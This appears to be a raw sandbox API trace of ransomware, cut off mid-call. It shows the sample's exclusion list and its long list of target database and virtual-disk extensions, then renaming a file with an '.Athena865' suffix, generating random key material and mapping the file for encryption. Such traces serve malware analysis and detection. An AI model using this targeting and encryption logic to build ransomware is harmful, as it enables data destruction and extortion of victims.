[0150.227] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="..") returned 1 [0150.227] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="windows") returned -1 [0150.227] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="bootmgr") returned 1 [0150.227] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="temp") returned -1 [0150.228] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="pagefile.sys") returned -1 [0150.228] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="boot") returned 1 [0150.228] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="ids.txt") returned -1 [0150.228] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="ntuser.dat") returned -1 [0150.228] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="perflogs") returned -1 [0150.228] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2="MSBuild") returned -1 [0150.228] lstrlenW (lpString="CLNTWRAP.HTM") returned 12 [0150.228] lstrcpyW (in: lpString1=0x241e8b2, lpString2="CLNTWRAP.HTM" | out: lpString1="CLNTWRAP.HTM") returned="CLNTWRAP.HTM" [0150.228] lstrlenW (lpString="CLNTWRAP.HTM") returned 12 [0150.228] lstrlenW (lpString="Athena865") returned 9 [0150.228] lstrcmpiW (lpString1="TWRAP.HTM", lpString2="Athena865") returned 1 [0150.228] lstrlenW (lpString=".dll") returned 4 [0150.228] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2=".dll") returned 1 [0150.228] lstrlenW (lpString=".lnk") returned 4 [0150.228] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2=".lnk") returned 1 [0150.228] lstrlenW (lpString=".ini") returned 4 [0150.228] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2=".ini") returned 1 [0150.228] lstrlenW (lpString=".sys") returned 4 [0150.228] lstrcmpiW (lpString1="CLNTWRAP.HTM", lpString2=".sys") returned 1 [0150.228] lstrlenW (lpString="CLNTWRAP.HTM") returned 12 [0150.228] lstrlenW (lpString="bak") returned 3 [0150.228] lstrcmpiW (lpString1="HTM", lpString2="bak") returned 1 [0150.228] lstrlenW (lpString="ba_") returned 3 [0150.228] lstrcmpiW (lpString1="HTM", lpString2="ba_") returned 1 [0150.228] lstrlenW (lpString="dbb") returned 3 [0150.228] lstrcmpiW (lpString1="HTM", lpString2="dbb") returned 1 [0150.228] lstrlenW (lpString="vmdk") returned 4 [0150.228] lstrcmpiW (lpString1=".HTM", lpString2="vmdk") returned -1 [0150.229] lstrlenW (lpString="rar") returned 3 [0150.229] lstrcmpiW (lpString1="HTM", lpString2="rar") returned -1 [0150.229] lstrlenW (lpString="zip") returned 3 [0150.229] lstrcmpiW (lpString1="HTM", lpString2="zip") returned -1 [0150.229] lstrlenW (lpString="tgz") returned 3 [0150.229] lstrcmpiW (lpString1="HTM", lpString2="tgz") returned -1 [0150.229] lstrlenW (lpString="vbox") returned 4 [0150.229] lstrcmpiW (lpString1=".HTM", lpString2="vbox") returned -1 [0150.229] lstrlenW (lpString="vdi") returned 3 [0150.229] lstrcmpiW (lpString1="HTM", lpString2="vdi") returned -1 [0150.229] lstrlenW (lpString="vhd") returned 3 [0150.229] lstrcmpiW (lpString1="HTM", lpString2="vhd") returned -1 [0150.229] lstrlenW (lpString="vhdx") returned 4 [0150.229] lstrcmpiW (lpString1=".HTM", lpString2="vhdx") returned -1 [0150.229] lstrlenW (lpString="avhd") returned 4 [0150.229] lstrcmpiW (lpString1=".HTM", lpString2="avhd") returned -1 [0150.229] lstrlenW (lpString="db") returned 2 [0150.229] lstrcmpiW (lpString1="TM", lpString2="db") returned 1 [0150.229] lstrlenW (lpString="db2") returned 3 [0150.229] lstrcmpiW (lpString1="HTM", lpString2="db2") returned 1 [0150.229] lstrlenW (lpString="db3") returned 3 [0150.229] lstrcmpiW (lpString1="HTM", lpString2="db3") returned 1 [0150.229] lstrlenW (lpString="dbf") returned 3 [0150.229] lstrcmpiW (lpString1="HTM", lpString2="dbf") returned 1 [0150.229] lstrlenW (lpString="mdf") returned 3 [0150.229] lstrcmpiW (lpString1="HTM", lpString2="mdf") returned -1 [0150.229] lstrlenW (lpString="mdb") returned 3 [0150.229] lstrcmpiW (lpString1="HTM", lpString2="mdb") returned -1 [0150.229] lstrlenW (lpString="sql") returned 3 [0150.230] lstrcmpiW (lpString1="HTM", lpString2="sql") returned -1 [0150.230] lstrlenW (lpString="sqlite") returned 6 [0150.230] lstrcmpiW (lpString1="AP.HTM", lpString2="sqlite") returned -1 [0150.230] lstrlenW (lpString="sqlite3") returned 7 [0150.230] lstrcmpiW (lpString1="RAP.HTM", lpString2="sqlite3") returned -1 [0150.230] lstrlenW (lpString="sqlitedb") returned 8 [0150.230] lstrcmpiW (lpString1="WRAP.HTM", lpString2="sqlitedb") returned 1 [0150.230] lstrlenW (lpString="xml") returned 3 [0150.230] lstrcmpiW (lpString1="HTM", lpString2="xml") returned -1 [0150.230] lstrlenW (lpString="$er") returned 3 [0150.230] lstrcmpiW (lpString1="HTM", lpString2="$er") returned 1 [0150.230] lstrlenW (lpString="4dd") returned 3 [0150.230] lstrcmpiW (lpString1="HTM", lpString2="4dd") returned 1 [0150.230] lstrlenW (lpString="4dl") returned 3 [0150.230] lstrcmpiW (lpString1="HTM", lpString2="4dl") returned 1 [0150.230] lstrlenW (lpString="^^^") returned 3 [0150.230] lstrcmpiW (lpString1="HTM", lpString2="^^^") returned 1 [0150.230] lstrlenW (lpString="abs") returned 3 [0150.230] lstrcmpiW (lpString1="HTM", lpString2="abs") returned 1 [0150.230] lstrlenW (lpString="abx") returned 3 [0150.230] lstrcmpiW (lpString1="HTM", lpString2="abx") returned 1 [0150.230] lstrlenW (lpString="accdb") returned 5 [0150.230] lstrcmpiW (lpString1="P.HTM", lpString2="accdb") returned 1 [0150.230] lstrlenW (lpString="accdc") returned 5 [0150.230] lstrcmpiW (lpString1="P.HTM", lpString2="accdc") returned 1 [0150.231] lstrlenW (lpString="accde") returned 5 [0150.231] lstrcmpiW (lpString1="P.HTM", lpString2="accde") returned 1 [0150.231] lstrlenW (lpString="accdr") returned 5 [0150.231] lstrcmpiW (lpString1="P.HTM", lpString2="accdr") returned 1 [0150.231] lstrlenW (lpString="accdt") returned 5 [0150.231] lstrcmpiW (lpString1="P.HTM", lpString2="accdt") returned 1 [0150.231] lstrlenW (lpString="accdw") returned 5 [0150.231] lstrcmpiW (lpString1="P.HTM", lpString2="accdw") returned 1 [0150.231] lstrlenW (lpString="accft") returned 5 [0150.231] lstrcmpiW (lpString1="P.HTM", lpString2="accft") returned 1 [0150.231] lstrlenW (lpString="adb") returned 3 [0150.231] lstrcmpiW (lpString1="HTM", lpString2="adb") returned 1 [0150.231] lstrlenW (lpString="adb") returned 3 [0150.231] lstrcmpiW (lpString1="HTM", lpString2="adb") returned 1 [0150.231] lstrlenW (lpString="ade") returned 3 [0150.231] lstrcmpiW (lpString1="HTM", lpString2="ade") returned 1 [0150.231] lstrlenW (lpString="adf") returned 3 [0150.231] lstrcmpiW (lpString1="HTM", lpString2="adf") returned 1 [0150.231] lstrlenW (lpString="adn") returned 3 [0150.231] lstrcmpiW (lpString1="HTM", lpString2="adn") returned 1 [0150.231] lstrlenW (lpString="adp") returned 3 [0150.231] lstrcmpiW (lpString1="HTM", lpString2="adp") returned 1 [0150.231] lstrlenW (lpString="alf") returned 3 [0150.231] lstrcmpiW (lpString1="HTM", lpString2="alf") returned 1 [0150.231] lstrlenW (lpString="ask") returned 3 [0150.231] lstrcmpiW (lpString1="HTM", lpString2="ask") returned 1 [0150.231] lstrlenW (lpString="btr") returned 3 [0150.231] lstrcmpiW (lpString1="HTM", lpString2="btr") returned 1 [0150.231] lstrlenW (lpString="cat") returned 3 [0150.232] lstrcmpiW (lpString1="HTM", lpString2="cat") returned 1 [0150.232] lstrlenW (lpString="cdb") returned 3 [0150.232] lstrcmpiW (lpString1="HTM", lpString2="cdb") returned 1 [0150.232] lstrlenW (lpString="ckp") returned 3 [0150.232] lstrcmpiW (lpString1="HTM", lpString2="ckp") returned 1 [0150.232] lstrlenW (lpString="cma") returned 3 [0150.232] lstrcmpiW (lpString1="HTM", lpString2="cma") returned 1 [0150.232] lstrlenW (lpString="cpd") returned 3 [0150.232] lstrcmpiW (lpString1="HTM", lpString2="cpd") returned 1 [0150.232] lstrlenW (lpString="dacpac") returned 6 [0150.232] lstrcmpiW (lpString1="AP.HTM", lpString2="dacpac") returned -1 [0150.232] lstrlenW (lpString="dad") returned 3 [0150.232] lstrcmpiW (lpString1="HTM", lpString2="dad") returned 1 [0150.232] lstrlenW (lpString="dadiagrams") returned 10 [0150.232] lstrcmpiW (lpString1="NTWRAP.HTM", lpString2="dadiagrams") returned 1 [0150.232] lstrlenW (lpString="daschema") returned 8 [0150.232] lstrcmpiW (lpString1="WRAP.HTM", lpString2="daschema") returned 1 [0150.232] lstrlenW (lpString="db-journal") returned 10 [0150.232] lstrcmpiW (lpString1="NTWRAP.HTM", lpString2="db-journal") returned 1 [0150.232] lstrlenW (lpString="db-shm") returned 6 [0150.232] lstrcmpiW (lpString1="AP.HTM", lpString2="db-shm") returned -1 [0150.232] lstrlenW (lpString="db-wal") returned 6 [0150.232] lstrcmpiW (lpString1="AP.HTM", lpString2="db-wal") returned -1 [0150.232] lstrlenW (lpString="dbc") returned 3 [0150.232] lstrcmpiW (lpString1="HTM", lpString2="dbc") returned 1 [0150.232] lstrlenW (lpString="dbs") returned 3 [0150.232] lstrcmpiW (lpString1="HTM", lpString2="dbs") returned 1 [0150.232] lstrlenW (lpString="dbt") returned 3 [0150.233] lstrcmpiW (lpString1="HTM", lpString2="dbt") returned 1 [0150.233] lstrlenW (lpString="dbv") returned 3 [0150.233] lstrcmpiW (lpString1="HTM", lpString2="dbv") returned 1 [0150.233] lstrlenW (lpString="dbx") returned 3 [0150.233] lstrcmpiW (lpString1="HTM", lpString2="dbx") returned 1 [0150.233] lstrlenW (lpString="dcb") returned 3 [0150.233] lstrcmpiW (lpString1="HTM", lpString2="dcb") returned 1 [0150.233] lstrlenW (lpString="dct") returned 3 [0150.233] lstrcmpiW (lpString1="HTM", lpString2="dct") returned 1 [0150.233] lstrlenW (lpString="dcx") returned 3 [0150.233] lstrcmpiW (lpString1="HTM", lpString2="dcx") returned 1 [0150.233] lstrlenW (lpString="ddl") returned 3 [0150.233] lstrcmpiW (lpString1="HTM", lpString2="ddl") returned 1 [0150.233] lstrlenW (lpString="dlis") returned 4 [0150.233] lstrcmpiW (lpString1=".HTM", lpString2="dlis") returned -1 [0150.233] lstrlenW (lpString="dp1") returned 3 [0150.233] lstrcmpiW (lpString1="HTM", lpString2="dp1") returned 1 [0150.233] lstrlenW (lpString="dqy") returned 3 [0150.233] lstrcmpiW (lpString1="HTM", lpString2="dqy") returned 1 [0150.233] lstrlenW (lpString="dsk") returned 3 [0150.233] lstrcmpiW (lpString1="HTM", lpString2="dsk") returned 1 [0150.233] lstrlenW (lpString="dsn") returned 3 [0150.233] lstrcmpiW (lpString1="HTM", lpString2="dsn") returned 1 [0150.233] lstrlenW (lpString="dtsx") returned 4 [0150.233] lstrcmpiW (lpString1=".HTM", lpString2="dtsx") returned -1 [0150.233] lstrlenW (lpString="dxl") returned 3 [0150.233] lstrcmpiW (lpString1="HTM", lpString2="dxl") returned 1 [0150.233] lstrlenW (lpString="eco") returned 3 [0150.233] lstrcmpiW (lpString1="HTM", lpString2="eco") returned 1 [0150.234] lstrlenW (lpString="ecx") returned 3 [0150.234] lstrcmpiW (lpString1="HTM", lpString2="ecx") returned 1 [0150.234] lstrlenW (lpString="edb") returned 3 [0150.234] lstrcmpiW (lpString1="HTM", lpString2="edb") returned 1 [0150.234] lstrlenW (lpString="epim") returned 4 [0150.234] lstrcmpiW (lpString1=".HTM", lpString2="epim") returned -1 [0150.234] lstrlenW (lpString="fcd") returned 3 [0150.234] lstrcmpiW (lpString1="HTM", lpString2="fcd") returned 1 [0150.234] lstrlenW (lpString="fdb") returned 3 [0150.234] lstrcmpiW (lpString1="HTM", lpString2="fdb") returned 1 [0150.234] lstrlenW (lpString="fic") returned 3 [0150.234] lstrcmpiW (lpString1="HTM", lpString2="fic") returned 1 [0150.234] lstrlenW (lpString="flexolibrary") returned 12 [0150.234] lstrlenW (lpString="fm5") returned 3 [0150.234] lstrcmpiW (lpString1="HTM", lpString2="fm5") returned 1 [0150.234] lstrlenW (lpString="fmp") returned 3 [0150.234] lstrcmpiW (lpString1="HTM", lpString2="fmp") returned 1 [0150.234] lstrlenW (lpString="fmp12") returned 5 [0150.234] lstrcmpiW (lpString1="P.HTM", lpString2="fmp12") returned 1 [0150.234] lstrlenW (lpString="fmpsl") returned 5 [0150.234] lstrcmpiW (lpString1="P.HTM", lpString2="fmpsl") returned 1 [0150.234] lstrlenW (lpString="fol") returned 3 [0150.234] lstrcmpiW (lpString1="HTM", lpString2="fol") returned 1 [0150.234] lstrlenW (lpString="fp3") returned 3 [0150.234] lstrcmpiW (lpString1="HTM", lpString2="fp3") returned 1 [0150.234] lstrlenW (lpString="fp4") returned 3 [0150.234] lstrcmpiW (lpString1="HTM", lpString2="fp4") returned 1 [0150.234] lstrlenW (lpString="fp5") returned 3 [0150.234] lstrcmpiW (lpString1="HTM", lpString2="fp5") returned 1 [0150.235] lstrlenW (lpString="fp7") returned 3 [0150.235] lstrcmpiW (lpString1="HTM", lpString2="fp7") returned 1 [0150.235] lstrlenW (lpString="fpt") returned 3 [0150.235] lstrcmpiW (lpString1="HTM", lpString2="fpt") returned 1 [0150.235] lstrlenW (lpString="frm") returned 3 [0150.235] lstrcmpiW (lpString1="HTM", lpString2="frm") returned 1 [0150.235] lstrlenW (lpString="gdb") returned 3 [0150.235] lstrcmpiW (lpString1="HTM", lpString2="gdb") returned 1 [0150.235] lstrlenW (lpString="gdb") returned 3 [0150.235] lstrcmpiW (lpString1="HTM", lpString2="gdb") returned 1 [0150.235] lstrlenW (lpString="grdb") returned 4 [0150.235] lstrcmpiW (lpString1=".HTM", lpString2="grdb") returned -1 [0150.235] lstrlenW (lpString="gwi") returned 3 [0150.235] lstrcmpiW (lpString1="HTM", lpString2="gwi") returned 1 [0150.235] lstrlenW (lpString="hdb") returned 3 [0150.235] lstrcmpiW (lpString1="HTM", lpString2="hdb") returned 1 [0150.235] lstrlenW (lpString="his") returned 3 [0150.235] lstrcmpiW (lpString1="HTM", lpString2="his") returned 1 [0150.235] lstrlenW (lpString="ib") returned 2 [0150.235] lstrcmpiW (lpString1="TM", lpString2="ib") returned 1 [0150.235] lstrlenW (lpString="idb") returned 3 [0150.235] lstrcmpiW (lpString1="HTM", lpString2="idb") returned -1 [0150.235] lstrlenW (lpString="ihx") returned 3 [0150.235] lstrcmpiW (lpString1="HTM", lpString2="ihx") returned -1 [0150.235] lstrlenW (lpString="itdb") returned 4 [0150.235] lstrcmpiW (lpString1=".HTM", lpString2="itdb") returned -1 [0150.235] lstrlenW (lpString="itw") returned 3 [0150.236] lstrcmpiW (lpString1="HTM", lpString2="itw") returned -1 [0150.236] lstrlenW (lpString="jet") returned 3 [0150.236] lstrcmpiW (lpString1="HTM", lpString2="jet") returned -1 [0150.236] lstrlenW (lpString="jtx") returned 3 [0150.236] lstrcmpiW (lpString1="HTM", lpString2="jtx") returned -1 [0150.236] lstrlenW (lpString="kdb") returned 3 [0150.236] lstrcmpiW (lpString1="HTM", lpString2="kdb") returned -1 [0150.236] lstrlenW (lpString="kexi") returned 4 [0150.236] lstrcmpiW (lpString1=".HTM", lpString2="kexi") returned -1 [0150.236] lstrlenW (lpString="kexic") returned 5 [0150.236] lstrcmpiW (lpString1="P.HTM", lpString2="kexic") returned 1 [0150.236] lstrlenW (lpString="kexis") returned 5 [0150.236] lstrcmpiW (lpString1="P.HTM", lpString2="kexis") returned 1 [0150.236] lstrlenW (lpString="lgc") returned 3 [0150.236] lstrcmpiW (lpString1="HTM", lpString2="lgc") returned -1 [0150.236] lstrlenW (lpString="lwx") returned 3 [0150.236] lstrcmpiW (lpString1="HTM", lpString2="lwx") returned -1 [0150.236] lstrlenW (lpString="maf") returned 3 [0150.236] lstrcmpiW (lpString1="HTM", lpString2="maf") returned -1 [0150.236] lstrlenW (lpString="maq") returned 3 [0150.236] lstrcmpiW (lpString1="HTM", lpString2="maq") returned -1 [0150.236] lstrlenW (lpString="mar") returned 3 [0150.236] lstrcmpiW (lpString1="HTM", lpString2="mar") returned -1 [0150.236] lstrlenW (lpString="marshal") returned 7 [0150.236] lstrcmpiW (lpString1="RAP.HTM", lpString2="marshal") returned 1 [0150.236] lstrlenW (lpString="mas") returned 3 [0150.236] lstrcmpiW (lpString1="HTM", lpString2="mas") returned -1 [0150.236] lstrlenW (lpString="mav") returned 3 [0150.236] lstrcmpiW (lpString1="HTM", lpString2="mav") returned -1 [0150.237] lstrlenW (lpString="maw") returned 3 [0150.237] lstrcmpiW (lpString1="HTM", lpString2="maw") returned -1 [0150.237] lstrlenW (lpString="mdbhtml") returned 7 [0150.237] lstrcmpiW (lpString1="RAP.HTM", lpString2="mdbhtml") returned 1 [0150.237] lstrlenW (lpString="mdn") returned 3 [0150.237] lstrcmpiW (lpString1="HTM", lpString2="mdn") returned -1 [0150.237] lstrlenW (lpString="mdt") returned 3 [0150.237] lstrcmpiW (lpString1="HTM", lpString2="mdt") returned -1 [0150.237] lstrlenW (lpString="mfd") returned 3 [0150.237] lstrcmpiW (lpString1="HTM", lpString2="mfd") returned -1 [0150.237] lstrlenW (lpString="mpd") returned 3 [0150.237] lstrcmpiW (lpString1="HTM", lpString2="mpd") returned -1 [0150.237] lstrlenW (lpString="mrg") returned 3 [0150.237] lstrcmpiW (lpString1="HTM", lpString2="mrg") returned -1 [0150.237] lstrlenW (lpString="mud") returned 3 [0150.237] lstrcmpiW (lpString1="HTM", lpString2="mud") returned -1 [0150.237] lstrlenW (lpString="mwb") returned 3 [0150.237] lstrcmpiW (lpString1="HTM", lpString2="mwb") returned -1 [0150.237] lstrlenW (lpString="myd") returned 3 [0150.237] lstrcmpiW (lpString1="HTM", lpString2="myd") returned -1 [0150.237] lstrlenW (lpString="ndf") returned 3 [0150.237] lstrcmpiW (lpString1="HTM", lpString2="ndf") returned -1 [0150.237] lstrlenW (lpString="nnt") returned 3 [0150.237] lstrcmpiW (lpString1="HTM", lpString2="nnt") returned -1 [0150.237] lstrlenW (lpString="nrmlib") returned 6 [0150.237] lstrcmpiW (lpString1="AP.HTM", lpString2="nrmlib") returned -1 [0150.237] lstrlenW (lpString="ns2") returned 3 [0150.237] lstrcmpiW (lpString1="HTM", lpString2="ns2") returned -1 [0150.237] lstrlenW (lpString="ns3") returned 3 [0150.237] lstrcmpiW (lpString1="HTM", lpString2="ns3") returned -1 [0150.238] lstrlenW (lpString="ns4") returned 3 [0150.238] lstrcmpiW (lpString1="HTM", lpString2="ns4") returned -1 [0150.238] lstrlenW (lpString="nsf") returned 3 [0150.238] lstrcmpiW (lpString1="HTM", lpString2="nsf") returned -1 [0150.238] lstrlenW (lpString="nv") returned 2 [0150.238] lstrcmpiW (lpString1="TM", lpString2="nv") returned 1 [0150.238] lstrlenW (lpString="nv2") returned 3 [0150.238] lstrcmpiW (lpString1="HTM", lpString2="nv2") returned -1 [0150.238] lstrlenW (lpString="nwdb") returned 4 [0150.238] lstrcmpiW (lpString1=".HTM", lpString2="nwdb") returned -1 [0150.238] lstrlenW (lpString="nyf") returned 3 [0150.238] lstrcmpiW (lpString1="HTM", lpString2="nyf") returned -1 [0150.238] lstrlenW (lpString="odb") returned 3 [0150.238] lstrcmpiW (lpString1="HTM", lpString2="odb") returned -1 [0150.238] lstrlenW (lpString="odb") returned 3 [0150.238] lstrcmpiW (lpString1="HTM", lpString2="odb") returned -1 [0150.238] lstrlenW (lpString="oqy") returned 3 [0150.238] lstrcmpiW (lpString1="HTM", lpString2="oqy") returned -1 [0150.238] lstrlenW (lpString="ora") returned 3 [0150.238] lstrcmpiW (lpString1="HTM", lpString2="ora") returned -1 [0150.238] lstrlenW (lpString="orx") returned 3 [0150.238] lstrcmpiW (lpString1="HTM", lpString2="orx") returned -1 [0150.238] lstrlenW (lpString="owc") returned 3 [0150.238] lstrcmpiW (lpString1="HTM", lpString2="owc") returned -1 [0150.238] lstrlenW (lpString="p96") returned 3 [0150.238] lstrcmpiW (lpString1="HTM", lpString2="p96") returned -1 [0150.238] lstrlenW (lpString="p97") returned 3 [0150.238] lstrcmpiW (lpString1="HTM", lpString2="p97") returned -1 [0150.239] lstrlenW (lpString="pan") returned 3 [0150.239] lstrcmpiW (lpString1="HTM", lpString2="pan") returned -1 [0150.239] lstrlenW (lpString="pdb") returned 3 [0150.239] lstrcmpiW (lpString1="HTM", lpString2="pdb") returned -1 [0150.239] lstrlenW (lpString="pdm") returned 3 [0150.239] lstrcmpiW (lpString1="HTM", lpString2="pdm") returned -1 [0150.239] lstrlenW (lpString="pnz") returned 3 [0150.239] lstrcmpiW (lpString1="HTM", lpString2="pnz") returned -1 [0150.239] lstrlenW (lpString="qry") returned 3 [0150.239] lstrcmpiW (lpString1="HTM", lpString2="qry") returned -1 [0150.239] lstrlenW (lpString="qvd") returned 3 [0150.239] lstrcmpiW (lpString1="HTM", lpString2="qvd") returned -1 [0150.239] lstrlenW (lpString="rbf") returned 3 [0150.239] lstrcmpiW (lpString1="HTM", lpString2="rbf") returned -1 [0150.239] lstrlenW (lpString="rctd") returned 4 [0150.239] lstrcmpiW (lpString1=".HTM", lpString2="rctd") returned -1 [0150.239] lstrlenW (lpString="rod") returned 3 [0150.239] lstrcmpiW (lpString1="HTM", lpString2="rod") returned -1 [0150.239] lstrlenW (lpString="rodx") returned 4 [0150.239] lstrcmpiW (lpString1=".HTM", lpString2="rodx") returned -1 [0150.239] lstrlenW (lpString="rpd") returned 3 [0150.239] lstrcmpiW (lpString1="HTM", lpString2="rpd") returned -1 [0150.239] lstrlenW (lpString="rsd") returned 3 [0150.239] lstrcmpiW (lpString1="HTM", lpString2="rsd") returned -1 [0150.239] lstrlenW (lpString="sas7bdat") returned 8 [0150.239] lstrcmpiW (lpString1="WRAP.HTM", lpString2="sas7bdat") returned 1 [0150.239] lstrlenW (lpString="sbf") returned 3 [0150.239] lstrcmpiW (lpString1="HTM", lpString2="sbf") returned -1 [0150.239] lstrlenW (lpString="scx") returned 3 [0150.240] lstrcmpiW (lpString1="HTM", lpString2="scx") returned -1 [0150.240] lstrlenW (lpString="sdb") returned 3 [0150.240] lstrcmpiW (lpString1="HTM", lpString2="sdb") returned -1 [0150.240] lstrlenW (lpString="sdc") returned 3 [0150.240] lstrcmpiW (lpString1="HTM", lpString2="sdc") returned -1 [0150.240] lstrlenW (lpString="sdf") returned 3 [0150.240] lstrcmpiW (lpString1="HTM", lpString2="sdf") returned -1 [0150.240] lstrlenW (lpString="sis") returned 3 [0150.240] lstrcmpiW (lpString1="HTM", lpString2="sis") returned -1 [0150.240] lstrlenW (lpString="spq") returned 3 [0150.240] lstrcmpiW (lpString1="HTM", lpString2="spq") returned -1 [0150.240] lstrlenW (lpString="te") returned 2 [0150.240] lstrcmpiW (lpString1="TM", lpString2="te") returned 1 [0150.240] lstrlenW (lpString="teacher") returned 7 [0150.240] lstrcmpiW (lpString1="RAP.HTM", lpString2="teacher") returned -1 [0150.240] lstrlenW (lpString="tmd") returned 3 [0150.240] lstrcmpiW (lpString1="HTM", lpString2="tmd") returned -1 [0150.240] lstrlenW (lpString="tps") returned 3 [0150.240] lstrcmpiW (lpString1="HTM", lpString2="tps") returned -1 [0150.240] lstrlenW (lpString="trc") returned 3 [0150.240] lstrcmpiW (lpString1="HTM", lpString2="trc") returned -1 [0150.240] lstrlenW (lpString="trc") returned 3 [0150.240] lstrcmpiW (lpString1="HTM", lpString2="trc") returned -1 [0150.240] lstrlenW (lpString="trm") returned 3 [0150.240] lstrcmpiW (lpString1="HTM", lpString2="trm") returned -1 [0150.240] lstrlenW (lpString="udb") returned 3 [0150.240] lstrcmpiW (lpString1="HTM", lpString2="udb") returned -1 [0150.240] lstrlenW (lpString="udl") returned 3 [0150.240] lstrcmpiW (lpString1="HTM", lpString2="udl") returned -1 [0150.240] lstrlenW (lpString="usr") returned 3 [0150.241] lstrcmpiW (lpString1="HTM", lpString2="usr") returned -1 [0150.241] lstrlenW (lpString="v12") returned 3 [0150.241] lstrcmpiW (lpString1="HTM", lpString2="v12") returned -1 [0150.241] lstrlenW (lpString="vis") returned 3 [0150.241] lstrcmpiW (lpString1="HTM", lpString2="vis") returned -1 [0150.241] lstrlenW (lpString="vpd") returned 3 [0150.241] lstrcmpiW (lpString1="HTM", lpString2="vpd") returned -1 [0150.241] lstrlenW (lpString="vvv") returned 3 [0150.241] lstrcmpiW (lpString1="HTM", lpString2="vvv") returned -1 [0150.241] lstrlenW (lpString="wdb") returned 3 [0150.241] lstrcmpiW (lpString1="HTM", lpString2="wdb") returned -1 [0150.241] lstrlenW (lpString="wmdb") returned 4 [0150.241] lstrcmpiW (lpString1=".HTM", lpString2="wmdb") returned -1 [0150.241] lstrlenW (lpString="wrk") returned 3 [0150.241] lstrcmpiW (lpString1="HTM", lpString2="wrk") returned -1 [0150.241] lstrlenW (lpString="xdb") returned 3 [0150.241] lstrcmpiW (lpString1="HTM", lpString2="xdb") returned -1 [0150.241] lstrlenW (lpString="xld") returned 3 [0150.241] lstrcmpiW (lpString1="HTM", lpString2="xld") returned -1 [0150.241] lstrlenW (lpString="xmlff") returned 5 [0150.241] lstrcmpiW (lpString1="P.HTM", lpString2="xmlff") returned -1 [0150.241] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM.Athena865") returned 75 [0150.241] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm.athena865"), dwFlags=0x1) returned 1 [0150.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0150.243] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1231) returned 1 [0150.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0150.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0150.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0150.244] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0150.244] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0150.244] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.245] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d0, lpName=0x0) returned 0x17c [0150.246] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d0) returned 0x100000 [0150.247] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0150.248] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0150.248] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0150.248] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0150.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0150.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0150.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0150.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0150.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0150.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0150.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0150.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0150.249] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0150.251] CloseHandle (hObject=0x17c) returned 1 [0150.251] CloseHandle 